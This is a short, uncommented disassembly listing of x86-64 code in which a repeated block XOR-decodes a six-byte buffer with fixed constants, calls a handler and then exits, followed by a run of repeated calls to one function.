lea rdx, [rsp + 0x30]
call fcn.140025920
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025766
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b2b8
xor ecx, ecx
call fcn.140026d48
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025920
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400257b8
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b2b8
xor ecx, ecx
call fcn.140026d48
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025920
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002580a
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b2b8
xor ecx, ecx
call fcn.140026d48
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025920
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002585c
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b2b8
xor ecx, ecx
call fcn.140026d48
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
xor ecx, ecx
call fcn.140026d48
nop
call fcn.140026f88
int3
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.14001a660
nop
call fcn.140026f88
int3
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
nop
call fcn.140026f88
int3